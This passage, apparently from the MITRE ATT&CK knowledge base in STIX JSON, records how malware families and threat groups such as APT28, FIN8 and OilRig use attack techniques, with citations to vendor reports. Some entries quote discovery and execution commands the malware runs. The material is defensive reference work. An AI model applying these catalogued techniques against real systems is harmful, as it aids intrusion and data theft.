            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:42:04.204Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c407e138-4e68-46e9-b41d-4447a282a1fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists processes running on the system.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.247Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) uses single-byte XOR obfuscation to obfuscate many of its files.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.451Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1b1e5d59-20a4-4915-a553-4db606d8121d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can decode contents from a payload that was Base64 encoded and write the contents to a file.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.710Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--16e90509-5ea2-48ff-8e09-686dcfddbb3b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts and performs PowerShell commands.(Citation: Palo Alto Sofacy 06-2018)(Citation: TrendMicro Pawn Storm Dec 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2021-01-13T21:54:30.303Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.108Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f5bbb96e-40b9-4a8c-a53d-bcd843daeac2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) collects the username from the victim.(Citation: fsecure NanHaiShu July 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.494Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--deae71f8-d849-484f-b49d-757356e195c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) executes a binary on the system and logs the results into a temp file by using: <code>cmd.exe /c \"<file_path> > %temp%\\PM* .tmp 2>&1\"</code>.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:44:51.038Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a581ef45-9363-4fdc-b0ff-20436eaffaab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.557Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fd763f17-409d-428b-825c-f731b0ad88cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC during and post compromise cleanup activities.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.689Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7f7226d7-6980-402a-b10e-e81b50c7ee09",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used brute force techniques to obtain credentials.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.145Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1d8a76f0-9818-4da4-8ec0-79a61311fea6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) connects to external C2 infrastructure and opens a backdoor over port 443.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.234Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--61047751-c353-4190-bc37-19ad959bc35e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) communicates with its C2 servers over HTTP.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.711Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is capable of file deletion along with other file system interaction.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c"
        },
        {
            "id": "relationship--5c736aad-9847-4059-9d1e-dc2f551952d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can interact with a victim\u2019s Outlook session and look through folders and emails.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:30:48.445Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) encodes C2 traffic with Base64.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:28:20.860Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) has been packed with the UPX packer.(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-03-17T02:32:57.964Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use ports 8080 and 8000 for C2.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.961Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
                }
            ],
            "description": "(Citation: Kaspersky Carbanak)",
            "type": "relationship",
            "modified": "2019-03-22T19:59:27.098Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) encrypts C2 traffic with a custom RC4 variant.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.802Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b2c30efb-b4ed-48d7-984e-7e6af4ee15b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops files with base64-encoded data.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.653Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--660d09ce-8722-42b3-8503-911dff37bf22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. The ASPXTool version used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) has been deployed to accessible servers running Internet Information Services (IIS).(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2020-01-09T17:00:26.490Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125)'s network loader encrypts C2 traffic with RSA and RC6.(Citation: Symantec Remsec IOCs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.628Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4e88ec20-d309-440d-a685-0d2abdc1d7ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve OS name/architecture and computer/domain name information from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.441Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ccd237b6-c7d6-4941-a1f2-cb563ae90b79",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) has used a malicious Word document for delivery with VBA macros for execution.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-06-23T20:40:40.910Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c195f2cb-deff-400e-b89e-8625deaa9817",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of active and listening connections by using the command <code>netstat -nao</code> as well as a list of available network mappings with <code>net use</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.954Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hikit](https://attack.mitre.org/software/S0009) performs XOR encryption.(Citation: Novetta-Axiom)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Novetta-Axiom",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"
                }
            ],
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
